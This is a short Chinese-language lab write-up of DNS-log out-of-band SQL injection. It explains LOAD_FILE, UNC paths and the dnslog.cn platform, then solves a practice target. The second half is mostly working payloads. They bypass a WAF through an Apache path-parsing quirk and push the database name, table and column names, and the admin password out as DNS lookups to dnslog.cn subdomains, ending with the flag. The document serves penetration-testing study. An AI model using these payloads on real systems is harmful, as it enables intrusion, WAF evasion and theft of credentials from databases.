1.概念
1.DNS-log:DNS是解析域名的,log是日志记录,DNS-log是记录域名解析记录日志
2.使用场景:在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来。
3.涉及的函数:LOAD_FILE():读取文件的函数—读取文件并返回文件内容为字符串
a.配置文件中的参数secure_file_priv=
b.高版本mysql中会限制
c.既然会被限制那有什么用呢?但是也会存在下面几种情况
- 有的版本会自动开启
- 有的网站需要这个功能,不得不开启
- 某些开发、运维顺手开启
4.涉及的其他知识
- UNC路径:UNC路径就是类似\softer这样的形式的网络路径。
- 常用的dns_log平台:http://dnslog.cn/
2.靶场
1.尝试SQL注入
payload: and 1=1
发现被WAF拦截
2.尝试其他传参
payload: index.php/1.txt?id=1 and sleep(10)
发现注入的sleep语句生效
这块涉及到apache的解析逻辑漏洞进行染过WAF,在apache中针对不存在的文件进行的传参,会传给前面的文件
3.爆出库名
结合apache的逻辑漏洞利用dns-log平台尝试注入
payload:http://59.63.166.75:8014/index3.php/1.txt?id=1 and load_file(concat(‘//’,database(),‘.8nlop2.dnslog.cn/123’))
4.爆出表名
结合apache的逻辑漏洞利用dns-log平台尝试注入
payload:http://59.63.166.75:8014/index3.php/1.txt?id=1 and load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),‘.2vm1ag.dnslog.cn/123’))
成功爆出表名
5.爆字段
payload:http://59.63.166.75:8014/index3.php/1.txt?id=1 and load_file(concat(‘//’,(select column_name from information_schema.columns where table_name=‘admin’ limit 1,1),‘.8nlop2.dnslog.cn/123’))
payload:http://59.63.166.75:8014/index3.php/1.txt?id=1 and load_file(concat(‘//’,(select column_name from information_schema.columns where table_name=‘admin’ limit 2,1),‘.0s59x0.dnslog.cn/123’))
6.获取数据
payload: http://59.63.166.75:8014/index3.php/1.txt?id=1 and load_file(concat(‘//’,(select password from mangzhu.admin),‘.0s59x0.dnslog.cn/123’))
拿到flag